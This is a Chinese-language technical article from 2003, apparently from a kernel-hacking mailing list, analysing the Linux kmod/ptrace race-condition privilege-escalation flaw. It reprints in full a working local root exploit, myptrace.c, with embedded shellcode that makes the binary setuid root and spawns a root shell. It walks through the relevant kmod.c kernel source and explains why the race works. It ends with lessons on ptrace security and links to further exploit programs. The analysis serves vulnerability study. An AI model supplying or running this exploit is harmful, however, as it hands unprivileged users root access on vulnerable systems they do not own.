摘自<kernel-hacking@whitecell.org>
代码:
ptrace安全漏洞分析 作者:noble_shi 信箱:noble_shi@21cn.com 时间:2003-3-21 版本:0.0.1 说明: 1. 本文可自由转贴、修改,2. 不3. 过请保留该头。 4. 由于水平有限,5. 难免有错误之处,6. 如若发现,7. 请和作者联系,8. 忠心欢迎批评指9. 正。 目录: 1. ptrace介绍 2. Linux Kernel kmod/ptrace竞争条件权限提升漏洞分析 3. 针对该溢出代码的补充说明 4. 对ptrace安全性的分析 5.参考资料
1. ptrace介绍 为方便应用软件的开发和调试,从unix的早期版本开始就提供了一种对运行中的进程进行跟踪和控制的手段,那就是系统调用ptrace()。通过ptrace(),一个进程可以动态地读/写另一个进程地内存和寄存器,包括其指令空间、数据空间、堆栈以及所有的寄存器。与信号机制(以及其他手段)相结合,就可以实现一个进程在另一个进程的控制和跟踪下运行的目的。GNU的调试工具gdb就是一个典型的实例。
ptrace()的系统调用格式如下: long int ptrace(enum __ptrace_request request, pid_t pid, void * addr, void * data); 参数pid为进程号,指明了操作的对象,而request,则是具体的操作,文件include/linux/ptrace.h中定义了所有可能的操作码:
#define PTRACE_TRACEME 0 #define PTRACE_PEEKTEXT 1 #define PTRACE_PEEKDATA 2 #define PTRACE_PEEKUSR 3 #define PTRACE_POKETEXT 4 #define PTRACE_POKEDATA 5 #define PTRACE_POKEUSR 6 #define PTRACE_CONT 7 #define PTRACE_KILL 8 #define PTRACE_SINGLESTEP 9
#define PTRACE_ATTACH 0x10 #define PTRACE_DETACH 0x11
#define PTRACE_SYSCALL 24
跟踪者先要通过PTRACE_ATTACH与被跟踪进程建立起关系,或者说“Attach”到被跟踪进程。然后,就可以通过各种PEEK和POKE操作来读/写被跟踪进程的指令空间、数据空间或者各个寄存器,每次都时一个长字,由addr指明其地址;或者,也可以通过PTRACE_SINGLESTEP、PTRACE_KILL、PTRACE_SYSCALL和PTRACE_CONT等操作来控制被跟踪进程的运行。最后,通过PTRACE_DETACH跟被跟踪进程脱离关系。
2. Linux Kernel kmod/ptrace竞争条件权限提升漏洞分析 当进程请求的功能在模块中的情况下,内核就会派生一子进程,并把子进程的euid和egid设置为0并调用execve("/sbin/modprobe")。问题是在子进程euid改变为0前可以被ptrace()挂接调试,因此攻击者可以插入任意代码到进程中并以root用户的权限运行。 为了方便期间,我们从源代码入手,分析该漏洞。其源码如下:
// --program name : myptrace.c 1 #include <grp.h> 2 #include <stdio.h> 3 #include <fcntl.h> 4 #include <errno.h> 5 #include <paths.h> 6 #include <string.h> 7 #include <stdlib.h> 8 #include <signal.h> 9 #include <unistd.h> 10 #include <sys/wait.h> 11 #include <sys/stat.h> 12 #include <sys/param.h> 13 #include <sys/types.h> 14 #include <sys/ptrace.h> 15 #include <sys/socket.h> 16 #include <linux/user.h> 17 18 char cliphcode[] = 19 "\x90\x90\xeb\x1f\xb8\xb6\x00\x00" 20 "\x00\x5b\x31\xc9\x89\xca\xcd\x80" 21 "\xb8\x0f\x00\x00\x00\xb9\xed\x0d" 22 "\x00\x00\xcd\x80\x89\xd0\x89\xd3" 23 "\x40\xcd\x80\xe8\xdc\xff\xff\xff"; 24 /*__NR_chown 25 *__NR_lchown 26 *__NR_exit 27 */ 28 29 #define CODE_SIZE (sizeof(cliphcode) - 1) 30 31 pid_t parent = 1; 32 pid_t child = 1; 33 pid_t victim = 1; 34 volatile int gotchild = 0; 35 36 void fatal(char * msg) 37 { 38 perror(msg); 39 kill(parent, SIGKILL); 40 kill(child, SIGKILL); 41 kill(victim, SIGKILL); 42 } 43 44 void putcode(unsigned long * dst) 45 { 46 char buf[MAXPATHLEN + CODE_SIZE]; 47 unsigned long * src; 48 int i, len; 49 50 memcpy(buf, cliphcode, CODE_SIZE); 51 len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1); 52 if (len == -1) 53 fatal("[-] Unable to read /proc/self/exe"); 54 55 len += CODE_SIZE + 1; 56 buf[len] = '\0'; 57 58 src = (unsigned long*) buf; 59 for (i = 0; i < len; i += 4) 60 if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1) 61 fatal("[-] Unable to write shellcode"); 62 } 63 64 void sigchld(int signo) 65 { 66 struct user_regs_struct regs; 67 68 if (gotchild++ == 0) 69 return; 70 71 fprintf(stderr, "[+] Signal caught\n"); 72 73 if (ptrace(PTRACE_GETREGS, victim, NULL, ®s) == -1) 74 fatal("[-] Unable to read registers"); 75 76 fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip); 77 78 putcode((unsigned long *)regs.eip); 79 80 fprintf(stderr, "[+] Now wait for suid shell...\n"); 81 82 if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1) 83 fatal("[-] Unable to detach from victim"); 84 85 exit(0); 86 } 87 88 void sigalrm(int signo) 89 { 90 errno = ECANCELED; 91 fatal("[-] Fatal error"); 92 } 93 94 void do_child(void) 95 { 96 int err; 97 98 child = getpid(); 99 victim = child + 1;//child +1为估计的内核进程的PID 100 101 signal(SIGCHLD, sigchld); 102 103 do 104 err = ptrace(PTRACE_ATTACH, victim, 0, 0); 105 while (err == -1 && errno == ESRCH);//一直等待ptrace内核进程 106 107 if (err == -1) 108 fatal("[-] Unable to attach"); 109 110 fprintf(stderr, "[+] Attached to %d\n", victim); 111 while (!gotchild) ; 112 if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1) 113 fatal("[-] Unable to setup syscall trace"); 114 fprintf(stderr, "[+] Waiting for signal\n"); 115 116 for(;;); 117 } 118 119 void do_parent(char * progname) 120 { 121 struct stat st; 122 int err; 123 errno = 0; 124 socket(AF_SECURITY, SOCK_STREAM, 1);//产生modprobe请求 125 do { 126 err = stat(progname, &st); 127 } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID); //假如不是s的就一直测试 128 129 if (err == -1) 130 fatal("[-] Unable to stat myself"); 131 132 alarm(0); 133 system(progname); 134 } 135 136 void prepare(void) 137 { 138 if (geteuid() == 0) { 139 initgroups("root", 0); 140 setgid(0); 141 setuid(0); 142 execl(_PATH_BSHELL, _PATH_BSHELL, NULL); 143 fatal("[-] Unable to spawn shell"); 144 } 145 } 146 147 int main(int argc, char ** argv) 148 { 149 prepare(); 150 signal(SIGALRM, sigalrm); 151 alarm(10);//10 s以后产生一个SIGALRM信号 152 153 parent = getpid(); 154 child = fork(); 155 victim = child + 1;//child +1为估计的内核进程的PID 156 157 if (child == -1) 158 fatal("[-] Unable to fork"); 159 160 if (child == 0) 161 do_child(); 162 else 163 do_parent(argv[0]); 164 165 return 0; 166 } 分析: 首先,该进程派生一个子进程(154行),然后子进程调用函数do_child();父进程调用函数do_parent()。 在do_parent()中,调用一个特殊域的socket函数(124行),内核此时会寻找该模块支持,并调用函数request_module()(该函数位于kernel/kmod.c)主动的启动模块安装。该函数会调用kernel_thread(exec_modprobe,(void *)module_name, 0)来创建内核线程(其实是调用系统调用clone()来创建一个内核进程)。该内核线程运行的函数是exec_modprobe(),该函数在kernel/kmod.c中定义:
1 static int exec_modprobe(void * module_name) 2 { 3 static char * envp[] = { "HOME=/", "TERM=linux", "PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL }; 4 char *argv[] = { modprobe_path, "-s", "-k", "--", (char*)module_name, NULL }; 5 int ret; 6 7 ret = exec_usermodehelper(modprobe_path, argv, envp); 8 if (ret) { 9 printk(KERN_ERR 10 "kmod: failed to exec %s -s -k %s, errno = %d\n", 11 modprobe_path, (char*) module_name, errno); 12 } 13 return ret; 14 }
这里的modprobe_path就是路径名/sbin/modprobe,所以,如果module_name为mymodule的话,这里的argv[]就相当于命令: /sbin/modprobe -s -k mymodule 选择项-s表示在安装过程中产生的信息应当写入系统的运行日值,而不要在控制终端上显示;-k表示安装时的MOD_AUTOCLEAN标志位设成1。
函数exe_usermodehelper()的代码也在同一文件(kmod.c)中:
1 2 int exec_usermodehelper(char *program_path, char *argv[], char *envp[]) 3 { 4 int i; 5 struct task_struct *curtask = current; 6 7 curtask->session = 1; 8 curtask->pgrp = 1; 9 10 use_init_fs_context(); 11 12 /* Prevent parent user process from sending signals to child. 13 Otherwise, if the modprobe program does not exist, it might 14 be possible to get a user defined signal handler to execute 15 as the super user right after the execve fails if you time 16 the signal just right. 17 */ 18 spin_lock_irq(&curtask->sigmask_lock); 19 sigemptyset(&curtask->blocked); 20 flush_signals(curtask); 21 flush_signal_handlers(curtask); 22 recalc_sigpending(curtask); 23 spin_unlock_irq(&curtask->sigmask_lock); 24 25 for (i = 0; i < curtask->files->max_fds; i++ ) { 26 if (curtask->files->fd[i]) close(i); 27 } 28 29 /* Drop the "current user" thing */ 30 { 31 struct user_struct *user = curtask->user; 32 curtask->user = INIT_USER; 33 atomic_inc(&INIT_USER->__count); 34 atomic_inc(&INIT_USER->processes); 35 atomic_dec(&user->processes); 36 free_uid(user); 37 } 38 39 /* Give kmod all effective privileges.. */ 40 curtask->euid = curtask->fsuid = 0; 41 curtask->egid = curtask->fsgid = 0; 42 cap_set_full(curtask->cap_effective); 43 44 /* Allow execve args to be in kernel space. */ 45 set_fs(KERNEL_DS); 46 47 /* Go, go, go... */ 48 if (execve(program_path, argv, envp) < 0) 49 return -errno; 50 return 0; 51 } 52
这段代码是在内核线程exec_modprobe()的上下文运行的,所以这里的current指向这个内核线程的task_struct结构,而与创建这个线程时的current不同,那时候的current指向当时的当前进程,即exec_modprobe()的父进程。内核线程exec_modprobe()从其父进程继承了绝大部分资源和特性,包括它的fs_struct的内容和打开的所有文件,以及它的进程号、组号,还有所有的特权。 但是这些特性在这个函数里大多被拚弃了(见源码的19行到42行,这里设置了该内核线程的信号、euid 、egid等,使之变成超级用户),不过在拚弃这些特性之前之前,我们的父进程,或同组进程是应该可以调试该内核线程的。漏洞也就在这里。
我们再回到myptrace.c中,来看看myptrace.c中的do_child()函数。 该函数调用do-while()语句一直等待(103行-105行),直到要调试的程序(也就是父进程派生的那个内核线程)出现,在该线程刚刚出现还没有拚弃父进程的特性(主要是uid, gid, euid, egid等)之前,子进程可以调试该内核线程,所以子进程就可以调用ptrace()系统调用ATTACH该内核线程。然后,如上所述,该内核线程就会拚其父进程的特性,变成超级用户。 接下来,子进程利用信号处理程序,调用函数putcode() 向该内核线程的空间写入一些代码,当内核线程再次运行时,就会执行这段代码,使我们的程序变成所有者为root,并设置了“set_uid”标示位。
再看我们的父进程在do_parent()中一直监视自身文件(125行-127行),一旦状态改变,就调用函数system()重新运行自身文件,此时在main()函数中会运行parent()函数,该函数即运行了一个超级用户的shell。
3.针对该溢出代码的补充说明。 为什么我们不在ATTACH到内核线程后立即向该内核线程中注入数据,而是还要等待下一个系统调用之前呢?即源码的112行为什么要调用: ptrace(PTRACE_SYSCALL, victim, 0, 0);
这是因为如果在刚刚ATTACH后,我们就取得指向用户空间的eip时(源码73行),即用: ptrace(PTRACE_GETREGS, victim, NULL, ®s) ; 取得的eip值是:0xc0bf1ef8(红帽子7.2下的值),这是指向系统空间的,是我们进程不可写的空间,所以我们不能向这里注入我们的代码。 为什么此时eip会指向系统空间呢?PTRACE_GETREGS命令取得的可是进程进入系统空间前的用户空间的eip值呀?我分析其原因这和系统相应信号的时机有关系。 系统相应信号的时机大多是在系统调用返回前夕,此时进程的执行路线有两个可能: A:从用户->内核->用户,此时响应了信号。 B:从内核->内核->用户,此时相应了信号。 如果是A的话,当然应该没问题了,但是如果是B的话,那就会出项上面的情况,即我们取得的eip是指向系统空间的。
4.对ptrace安全性的分析。 通过分析该漏洞,和去年ptrace的漏洞(略,参见参考资料部分),对我有以下启发: (1)ptrace()漏洞的实质是要能够用ptrace()系统调用调试一个具有超级权限的进程。 本次的漏洞是调试了一个具有超级权限的内核线程,上次的漏洞是调试了/usr/bin/passwd 具有超级权限的进程。 (2)ptrace()漏洞利用的基本方法是向调试的具有超级权限的进程中注入(利用ptrace()系统调用写入)一些代码,将某个程序(或自身程序)设置为所有者为root,且具有“set_uid”表示。 (3)要利用普通用户调试具有超级权限的进程是有条件的。 本次漏洞是利用了/sbin/modprobe变成超级进程前,我们可以利用普通用户调试一个具有普通权限的进程。 上次漏洞是利用了超级用户()(普通用户通过运行/usr/bin/newgrp得到)可以调试具有超级权限的进程(普通用户运行/usr/bin/passwd得到)。
综上所述,我们可以看出,ptrace()漏洞利用的关键在于怎样能够使得一个普通用户可以调试一个具有超级权限的进程。
5.参考资料:
http://www.airarms.org/bbs/viewthread.php?tid=197 去年ptrace漏洞的利用程序和详细说明。
http://www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=4570 这次ptrace漏洞的利用程序和详细说明。
|